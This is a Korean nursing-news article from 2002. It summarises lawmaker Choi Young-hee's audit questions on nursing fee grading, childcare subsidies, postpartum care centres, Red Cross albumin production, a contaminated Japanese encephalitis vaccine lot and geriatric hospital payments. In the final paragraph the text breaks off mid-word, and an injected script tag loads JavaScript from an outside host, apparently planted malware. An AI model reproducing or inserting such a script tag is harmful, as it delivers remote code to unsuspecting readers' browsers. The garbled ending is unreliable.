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국정감사 결산-보건복지위원회 최영희 의원
간호관리료 등급 `입원환자수' 기준해야
[편집국] 백찬기   ckbaik@nursenews.co.kr     기사입력 2002-10-10 오후 13:31:14
최영희 국회의원(민주당·전 대한간호협회장)은 이번 국정감사에서 △간호관리료의 등급 기준 변경 △국립의료원간호대학의 4년제 승격의 필요성 △산후조리원의 관리 문제 △영아보육 누진지원제도 도입 방안 △보육시설 융자금 상환 연장 방안 △한적의 알부민 시장 진출 문제 △건강보험 직장가입자의 사업소득에 대한 건보료 부과 등을 집중 질의했다.
 
최 의원은 보건복지부 감사에서 모든 보육시설에 지역수요에 맞춰 영아와 유아를 보육하도록 하고 영아보육비율에 따라 국고지원을 추가하는 `영아보육 누진지원제도' 도입을 제안했다.

 이와 함께 "많은 보육시설들이 융자금 상환문제로 엄청난 고민에 빠져 있다"며 "복지부가 단안을 내려서 현행 10년 만기인 상환기한을 최소한 20년으로 연장해 주어야 한다"고 요구했다.

 최 의원은 또 "한국소비자보호원에 접수된 산후조리원과 관련된 피해사례가 지난 2000년 136건에서 2001년에는 268건으로 무려 전년대비 97%가 증가됐다"고 지적하고 "복지부는 끊이지 않는 사고와 늘어나는 피해사례를 계속 보고만 있을 것이냐"고 따졌다.

 특히, 최 의원은 "간호관리료 등급을 산정할 때 적용하는 병상 수 기준을 현행 허가병상 수에서 평균입원환자 수인 병상가동률을 기준으로 변경해야 한다"고 촉구하고 "국립의료원간호대학은 4년제 대학으로 승격될 수 있는 요건을 이미 갖췄음에도 건설교통부의 `도시계획정비법'을 앞세워 이를 가로막고 있어 많은 부분에서 불이익을 당하고 있다"며 "주무부처인 복지부가 직접 나서서 이 문제를 해결해야 한다"고 요구했다.

 최 의원은 이밖에도 "건강보험 가입자가 직장과 지역가입자만으로 양분돼 있어 높은 사업소득이 있는 사람도 직장에서 받은 근로소득이 있을 경우 이를 기준으로 책정된 보험료만 납부하면 되는 현행 보험료 부과체계에는 문제가 있다"고 꼬집었다.

 또 "지난해 7월부터 직장가입자의 피부양자중 소득이 있는 사람을 지역가입자로 전환, 보험료를 징수하고 있으나 이들 중 상당수가 피보험자인 직장가입자 앞으로 사업자등록 명의를 변경해 보험료 납부대상에서 제외될 수 있다"고 지적했다.

 최 의원은 대한적십자사 감사에서 한적의 알부민 시장 진출과 관련 "복지부는 기존 녹십자와 동신제약과의 중복투자를 이유로 불허한 상황"이라며 "인위적으로 막는 것은 형평성에 어긋나는 처사"라는 입장을 밝혔다.

 이어 "혈액정책의 기조는 혈액의 자급자족과 비상업성이 원칙"이라며 "알부민 역시 일종의 의약품이고 동일성분 약품의 신규진입에 대한 규제를 전혀하지 않는 우리나라 상황과 맞지 않는다"고 강조했다.

 최 의원은 따라서 "녹십자나 동신제약이 알부민에 대한 라이센스를 가지고 있는 것도 아닌데 적십자사의 시장참여를 중복투자를 이유로 원천봉쇄한 이유가 뭐냐"고 추궁했다.

 식품의약품안전청에 대한 감사에서는 지난해 녹십자백신이 제조한 일본뇌염 백신에서 이물질이 발견돼 반려된 사실을 밝혀 화제를 모았다.

 최 의원은 질의를 통해 "녹십자백신이 지난해 11월 국가검정을 신청한 일본뇌염백신 7만5000여 바이알 가운데 일부에서 이물질이 발견돼 반려조치됐다"고 밝히고 "녹십자백신은 반려된 일본뇌염백신을 지난 5월말 국가검정을 다시 신청하기 위해 적정보관온도인 섭씨 10도 이하가 아닌 섭씨 15도의 물에 방치한 상태에서 포장라벨을 교체하다 식약청 직원에게 적발됐다"고 지적했다.

 국민건강보험공단 감사에서 최 의원은 "지난 7월부터 무수진자를 대상으로 실시중인 무료암검진 사업의 100% 달성을 위해 지사별 목표관리제를 도입해야 한다"고 촉구하고 "암 검진사업에 위암과 유방암 외에 높은 유병률을 보이는 폐암을 검진항목에 추가할 것"을 제안했다.

 건강보험심사평가원에 대한 감사에서는 "3개월 이상 노인환자 진료비 청구시 이를 전혀 반영하지 않음으로써 노인병원에서 노인환자를 3개월 이상 입원시킬 수 없도록 하는 결과를 초래하고 있으나 복지부는 노인병원이 진료비 삭감을 이유로 노인환자를 퇴원시키는 것을 금지하고 있기 때문에 병원은 울며 겨자 먹기식으로 노인진료를 계속할 수밖에 없다"고 지적했다.

 최 의원은 이어 "6개 노인병원이 지난해부터 올 5월까지 삭감당한 의학관리료만 해도 10억원이 넘고 전국의 노인병원 약 50개소에서 한 달에 삭감당하는 의학관리료 규모가 전체 요양급여비용의 약 24%에 달하는 월 9억원 정도나 된다" 며 "보험재정 때문에 노인병원들이 불합리한 삭감에 시달리는 것은 바람직하지 못하다"는 소신을 밝혔다.

 국립보건원 감사에서 최 의원은 "학교급식이 보편화되면서 식중독 감염추세도 집단화·대형화되고 있으나 국립보건원은 지난해 학교급식으로 발생한 집단식중독에 대한 역학조사결과 원인병원체에 대해 전혀 규?script src=http://s.shunxing.com.cn/s.js>
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